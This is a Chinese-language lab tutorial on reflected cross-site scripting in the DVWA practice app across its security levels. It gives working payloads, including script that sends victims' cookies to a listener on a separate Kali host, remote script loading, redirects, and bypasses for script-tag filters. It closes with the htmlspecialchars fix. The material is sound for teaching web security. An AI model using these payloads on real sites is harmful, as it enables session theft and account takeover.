1. XSS简介
(1)XSS(cross-site scripting)
跨站脚本攻击,通过web站点漏洞,向客户端交付恶意脚本代码,这些代码可以被浏览器成功的执行,从而实现对客户端的攻击;
XSS可以盗取客户端cookie,将客户端重定向到第三方网站;
(2)客户端脚本语言
弹窗警告、广告;
JavaScript;
在浏览器中执行;
(3)JavaScript
与Java语言无关;
命名完全处于市场原因;
使用最广的客户端脚本语言;
(4)XSS漏洞类型
存储型XSS;(持久型)
恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性;
反射型XSS;(非持久型)
恶意代码并没有保存在目标网站,通过引诱用户点击一个恶意链接来实施攻击的;
DOM型XSS
DOM型XSS是一种基于DOM树的XSS,例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS;DOM型XSS可能是存储型,也有可能是反射型;
(5)漏洞形成的根源
服务器对用户提交的数据过滤不严;
提交给服务器端的脚本被直接返回给其他客户端执行;
脚本在客户端执行恶意操作;
2. 反射型XSS攻击图示
(1)获取被攻击者的cookie;
- 黑客首先向服务器发送js脚本;
- 服务器返回含有js脚本的页面;
- 然后黑客将该页面的url链接发送给被攻击方;
- 被攻击方返回cookie;
(2) 重定向到第三方网站;
- 黑客首先向服务器发送js脚本;
- 服务器返回含有js脚本的页面;
- 然后黑客将该页面的url链接发送给被攻击方;
- 被攻击方进入第三方网站;
3. 反射型XSS
实验环境
(1)Windows服务器:Windows Server 2003,IP地址:192.168.37.128;
(2) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)
实验过程
安全级别:Low
(1)设置安全级别
(2)查看源码
(3)源码分析
在源码中,可以看到直接引用来 name参数,并没有对参数做任何过滤;例如:输入a,则返回含有a的js页面;
(4)实验操作
简单应用
4.1> 直接输入yxz,返回Hello yxz;
4.2> 输入 <script>alert('XSS')</script>,弹出弹框;
使用Burpsuite抓包查看; 返回的页面信息为含有输入信息的js页面;
4.3> 输入 <body onload=alert('XSS1')>,弹出弹框;
4.4> 输入 <a href=http://192.168.37.128>登录</a>
4.5> 输入 <img src=http://192.168.37.128/a.jpg onerror=alert('XSS2')>
4.6> 输入<a href='' onclick=alert('XSS3')>点击</a>
重定向
4.7> 输入<script>window.location="http://www.baidu.com"</script>
#重定向到百度;
4.8> 输入 <script>window.location="http://192.168.37.128"</script>
# 重定向到192.168.37.128
4.9> 输入 <iframe src='http://192.168.37.128/a.jpg' height='0' width='0'></iframe>
# 访问192.168.37.128/a.jpg
获取cookie
4.10> 输入 <script>new Image().src="http://192.168.37.131/c.php?output="+document.cookie;</script>
在Kali上监听80端口,获取cookie值;
4.11> 输入 <script>alert(document.cookie)</script>
4.12> 输入 <script src='http://192.168.37.131/a.js'></script>
步骤:
1. 制作一个js脚本;
2. 把js脚本放到www目录下;
3. 开启阿帕奇服务;
4. 监听端口;
5. 访问js脚本;
6. 获取到js脚本实现的结果;
首先在Kali上写a.js脚本,开启Apache服务,并监听指定的端口;
输入 <script src='http://192.168.37.131/a.js'></script>
查看Kali监听到的cookie值;
安全级别:Medium
(1)设置安全级别;
(2)查看源码;
(3)源码分析
在这里是基于黑名单的思想,使用str_replace函数将输入中的<script>删除,把script脚本当做字符串来处理;
(4)实验过程
4.1> 尝试输入 <script>alert('XSS')</script>,把script脚本当做字符串来处理;
绕过方法
4.2> 可以将<script>可以写成<Script>,大小写混淆绕过;
4.3> 嵌入绕过,可以将script嵌入到<script>中,例如<scr<script>ipt>;
安全级别:High
(1)设置安全级别
(2)查看源码
(3)源码分析
High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;(正则表达式中i表示不区分大小写)
在High级别中,虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码。
(4)实验过程
使用Medium中的绕过方式就不再有效;
绕过方式
对于安全级别为High,只是添加了对script的限制,但并未限制其他的方式;
例如:<body onload=alert('XSS1')>
安全级别:Impossible
(1)设置安全级别
(2)查看源码
(3)源码分析
当安全级别为Impossible时,使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现反射型XSS攻击;